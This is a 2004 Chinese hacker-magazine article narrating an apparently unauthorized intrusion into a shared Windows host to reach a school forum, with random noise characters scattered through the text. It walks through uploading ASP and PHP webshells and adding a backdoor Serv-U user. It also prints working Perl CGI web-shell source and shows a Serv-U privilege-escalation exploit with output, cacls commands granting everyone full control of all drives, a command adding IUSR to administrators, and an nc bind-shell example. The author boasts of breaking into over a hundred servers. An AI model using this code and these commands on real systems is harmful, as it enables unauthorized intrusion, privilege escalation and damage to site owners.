剑走偏锋——灵巧的旁注攻击 ( A, A1 B% _: `+ k. ?
本文作者:angel
- Y( L/ x% f [% I6 {文章性质:原创( D! ]% ^" |9 t I3 e# Y9 E3 b6 W/ S
发布日期:2004-11-09 $ Y9 D# D. {, v; G0 P# f. v# O$ `/ Y
注意:
6 {) {0 {; k! f6 u$ l本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。5 G. Y7 W$ O, f4 i' h' C: h5 Q: E
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
G# h6 {% w" J6 Z( [# S: Z1 J
! K& e3 w. W0 l' c 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
. ]" i" o# o! F4 K! I4 r. H' h- ?1 s/ Y+ h4 b+ l
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
2 C+ O i1 ]# K1 [0 @7 ?, T @0 D$ n* s" o+ v6 u1 L
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
" l2 w* {4 e# F$ Y
* ?( `" k N1 [4 g' { 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 6 ]3 [; V$ g: j1 @
& p3 W0 k, ?7 f) X5 D 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
4 G& ]4 G0 u9 y% X; |5 Z: d
$ M4 n7 F8 F) q* b% X# w 没有目的的跳转目录着…… * j/ S9 ?% B6 o' \( o- m; K
8 e# E# F. C1 w( o% U+ y
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
" L% E, L, V5 e1 ^% w' V4 s0 H0 L# u. L3 M4 y4 ]5 c! h- ^
结束了吗?不,我试着 FTP 一下: $ l! _* ^9 @! G4 X' z# v: ~
n0 `8 p$ {' }- _1 Z9 I# vMicrosoft Windows 2000 [Version 5.00.2195]
* F$ b U4 q9 [& e8 C& \(C) 版权所有 1985-2000 Microsoft Corp.
] T) C1 z" r: U
! o" z: D. ?9 }$ W4 Z* Z# s; K9 qC:\Documents and Settings\Administrator>ftp www.school.com
# Y; F1 M4 i, \; D2 V) TConnected to www. school.com.
' D2 {# r- u! r# {7 {+ W; S220 Welcome to FTP Server...
- r- ?2 k& X( V3 {User (www.bjtrq.com:(none)):
* m# ?* _; g: B# T2 F& ^! Q331 User name okay, need password. k8 f& Z7 r4 W- Z
Password: ! S% |0 g2 K3 n8 ^+ S
530 Not logged in.
& m" v' o% i* o. r1 SLogin failed.
% s; p7 K( R: v! r O7 G4 N( L2 hftp> bye & e6 _& z6 R3 X* s
221 Goodbye!
9 J% J9 ^3 r+ }
7 \8 e) I- u9 e2 a" ] n1 A7 v( E
( S5 m! A g: U* Y) G 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 8 u H! O) W2 {
. e+ L$ G+ q L( t
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
. G* E4 m: ?1 S( K
; j4 n3 j9 w2 Y$ @, R$ S5 aApplication Data; ]3 m+ E/ w0 e9 Z5 C+ L
Documents
: ~) F+ [$ b% E& CDRM
! W7 G l( C( n8 \2 yFavorites
! @% ?+ `& E& v% N1 e) L0 m. ITemplates/ b, |* G: G6 e+ v1 Q
「开始」菜单
- K2 @ |1 m. z* H, u/ o# X4 h桌面
" T, f) f$ b# f) C
- c+ U( [( ~3 e5 T& ]0 p! I G7 [$ D4 g) ~
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, " W; r) z- ]9 o' @
" t& c/ | p3 M0 \0 @' G8 ~
ActiveState ActivePerl 5.8$ r! J* R2 |5 e3 i- W
Administrative Tools5 s! R, ]# f6 Z# z
Deerfield.com, u" ~; y! N7 Q3 g
DTemp' W4 [* l, {9 M6 O5 z$ @) N
IPSentry
) A( ?+ t0 c' I, TMBM 5
4 ~) i0 C6 S8 ~+ W0 P* ~3 j$ d1 |NetMeter
) R3 Q+ r d% D7 v/ ~Network ICE
0 X5 ~1 {- g5 K7 EPersits Software AspEmail
# `/ M) @( L1 a9 jPersits Software AspJpeg
x5 K# a- H! F7 d' {- u( u6 F+ QServ-U FTP Server, V7 U' l% u& N- f' S
Symantec Client Security9 V$ T: A* B5 d5 ~
Windows 优化大师
" ]4 C# B) V4 _8 y* H. gWinRAR& i F5 g/ q [: F5 h) Y
启动
' [9 t! W/ o) Q1 z* H& z管理工具
" E( l$ ?, X9 O9 U$ ^附件2 x2 N# B5 c/ w: K/ X% P9 W' M1 l- K$ x
1 z' N: v" v' M5 _) K# m7 l0 f$ L, _0 u* _0 Y! Y2 K
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
& a7 v0 e( X- S$ R) I
6 X, j3 w5 F4 o$ ^ 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ \/ g& K( i1 @2 c$ H; @5 a. A$ a* |1 V- S: K
User281=angel|1|0 & D! i3 e" d9 x: U" J- T& q: O
) _. M. Q/ [, B. D1 B
5 G% O5 x5 w- B+ G$ Q
然后加上 # D& d3 z* C+ g3 C% ^7 w8 J
* i+ l/ B0 _' i$ O
[USER=angel|1]
6 k$ N9 Z% J! G: UPassword=ng98F85379EA68DBF97BAADCA99B69B805
9 I# E3 B% j8 Q, RHomeDir=D:\websites4 y: v, ?) K5 ~9 l! ]6 c4 L
RelPaths=1
$ T/ W0 b8 \2 K3 G0 ?5 MTimeOut=600- y! y9 j9 d; c
Maintenance=System+ g5 e P1 c6 W' P: Y
Access1=D:\websites|RWAMELCDP; Q2 T0 D" e0 ^- M. _
SKEYValues=
& u) c+ y& S. S8 U1 ]; y9 ^ 8 M4 \4 G5 f; R7 p( C8 |/ s
/ R+ h* e- s: V) m) U
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
5 f8 S( q, }: |( H1 `3 a& l/ _9 F" G+ F5 Q, C! a# q$ R1 }/ x. R
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 % i6 Z6 f1 D" l& Z7 ^
( B Y M1 L. } z: w, w
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
- F8 Q; N* H/ Q2 G. C0 P0 n; l8 o2 R
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 9 c3 Q& H$ B+ `) y
, {8 D8 M4 r% K$ L. J7 i#!/usr/bin/perl; j0 M- H; D3 H0 H; g$ L
binmode(STDOUT);
* [3 j0 Y2 E& ^+ @) u, c& dsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
% l8 |( _7 U; |& X: M2 e1 T$_ = $ENV{QUERY_STRING};
! e' z$ d/ R2 ds/%20/ /ig;
7 d+ F5 h& _( P8 w: s9 y$ t h7 ts/%2f/\//ig;
- k ?1 t O! I# s w. d' y0 [$execthis = $_;
. @& w7 |" {1 M8 r' L) d1 Csyswrite(STDOUT, "<HTML><PRE>\r\n", 13);6 _2 I) G8 ^, j4 ^; m/ c! k
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
5 B2 a7 `4 {. g% Ysystem($execthis);
! V ^( i( I! ~syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);( ` k4 Q* {# A7 F7 {8 n) @
close(STDERR);
" l% e. v+ B" X Y+ l3 oclose(STDOUT);
0 {' w- p. K4 z+ s- b* `exit;% {0 Z$ ~% s2 W+ e4 }# `0 P3 s4 D
) Z$ a, @" ]$ m' Z5 j
1 A: g6 i" y7 r 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
- Y: q% i+ o4 @% i: k/ N' _% k) a6 ]0 ]7 {# O0 n
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
' W6 M4 i* I' h, h! R7 x9 z
, k% i2 B5 C+ h6 k- Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe 3 s. N# j9 }* d# x/ x" R
& D. t7 R; a e m* p; B% I
- E2 a5 O; u9 J
返回: - ]: D, [, a* \
( x8 R/ ~/ k$ o! N! d
Serv-u >3.x Local Exploit by xiaolu
9 E& X6 n7 W0 ~7 D; c* v( ^2 z: p8 V; W* i6 e8 m
USAGE: serv-u.exe "command"
, H7 W h# B4 a: D* ]/ T1 ?
& H5 P4 M2 E# ^) f1 cExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 9 v V# x# ^ F: L9 _8 t' n
& Z" B) g! K9 X" ]
- d: z0 Z+ P5 L* C* e1 r 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) B+ O e0 E: M0 c2 r+ V
O. ?. Z' k1 h* W- |* a/ j& {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
0 o0 `# w/ a7 M# k! K
* p& i- Z- W8 M; `9 a T, R( {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
6 q' b, K2 A2 v) U' w8 Q+ _/ b8 b# J: R
3 ~+ l6 o* c# f2 J" Thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
, X5 A* T6 u* J, L. j
/ R) L, C$ B# C/ xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 1 e- W- w3 y; a( c& h
) U' |7 j% d" x5 X* r, c2 ]) F5 x. R+ n2 d8 {4 c
返回下面的信息,就表示成功了!!! 8 G: q: e8 P; W3 V. h1 O9 e7 X
6 o) }3 [4 T3 a, z- s s9 [Serv-u >3.x Local Exploit by xiaolu
u Y- e$ O0 p* Y3 Y+ {( j7 M4 Y/ y/ c: M; I! p( \9 j; H
<220 Serv-U FTP Server v5.2 for WinSock ready...
5 i9 I( q' A0 x8 \6 @: z& j$ G& l- y+ K1 Z6 j5 {( W
>USER LocalAdministrator # K- N! j* [! J
1 ]" k' ]) b9 @6 w: d2 X9 p
<331 User name okay, need password. " a' v9 `3 q( g2 {* _, {* \+ \
4 i+ L; r% b, W) J****************************************************** % b* s: ]; _3 e$ G) P% N) p) T
$ `; N$ y C& S2 U
>PASS #l@$ak#.lk;0@P
+ h7 \, f) h, h, W, N& y5 X2 J- {0 [6 z2 h- [
<230 User logged in, proceed.
* I! @- w' ^4 A+ A; K
: @8 B8 V* d8 q* a: V****************************************************** ! \$ ^& |. k5 S. }. p4 z
1 X2 m4 k, O! K2 i>SITE MAINTENANCE
* g4 I: S; [8 s9 p
# U# y* _ `: D******************************************************
% Y8 A. n+ `% t- V. c/ h" {' f7 j2 N; M7 d
[+] Creating New Domain... 0 _% N5 b6 u" h" w& z' g
: f) o( J" ]6 Q0 W* U! P+ m<200-DomainID=2 * x" S& ~/ g* Y. U6 d
) t' d3 J9 |/ Y. |; C9 U; T<220 Domain settings saved * r$ `# R. S- G3 m+ m- Q ^/ S& B" k
9 g U- l8 p# z8 D8 f
******************************************************
4 Y' t3 m6 B) ]( P6 E3 W' T$ M4 L3 i6 [- v9 z8 S; x( J% p
[+] Domain xl:2 Created 9 F' M" Y' K0 h8 L
3 _, j, {: b( y$ w[+] Creating Evil User
$ }8 W6 P& ]# u! {
; s5 h& f- d! [+ y$ r<200-User=xl 4 f( l0 D- M) J2 h/ d
5 V' f; B9 j* x* g! d" u
200 User settings saved
% t# G- r! o/ l+ s9 A9 U w3 M- p7 E) J; ~
******************************************************
0 x3 U! [6 g! `2 x) k
r6 G+ v# B: Y& |' ^[+] Now Exploiting...
: |% O* {1 c5 @9 p6 l9 J) l( i: c
8 _* t, ]: [; }9 w% f* P$ F>USER xl
. `( B; r: _; A6 \, c5 U! F
$ t% }/ a4 W: |3 X% c9 w<331 User name okay, need password. 8 L3 ]9 ~- A# {6 Z/ W1 v& Z5 n+ v7 ~ K
$ c9 j3 {9 c/ P******************************************************
1 l. @2 L @% w j& q% H* |' e# L! G& {2 ^
>PASS 111111
/ \) v. i; S, r, n' m! y' `% C: ]4 C1 ?4 ^2 A- r) d0 P
<230 User logged in, proceed.
8 ?, ?3 s% D/ j0 ~, `
: X/ j8 k4 F, M1 F: Q****************************************************** 2 |' P/ i2 v8 R( P3 F) R
, ^. S$ d+ r7 \2 n* O[+] Now Executing: cacls.exe c: /E /T /G everyone:F * P W9 O, O3 Z# {
% H" J. P- [ S- X5 Y<220 Domain deleted
8 g! t9 C b# j& e7 N: r& j9 n9 t% ]1 G' k, K n8 ]+ m8 P, l
****************************************************** g& P3 N/ P6 A$ A5 S7 T
/ p- {% }) r! C: Z T# e) y# G4 R n3 ~8 w- Y6 B$ r$ w8 }
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
+ _- C" g. ~' _ g- j- n$ }+ I+ \% r! \4 S
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 9 ~) B/ |8 v* [
6 Y* C* l9 d& L# O
% q8 @$ S# @ c6 X+ `% i: F 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 6 l1 G3 H0 s* i9 N
3 s$ e; G$ _. d; Q, O 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。! I0 s7 O4 p, C2 d( b
, w: q3 O9 J2 U8 q
3 g9 Z% N& J" l9 Y7 |, t |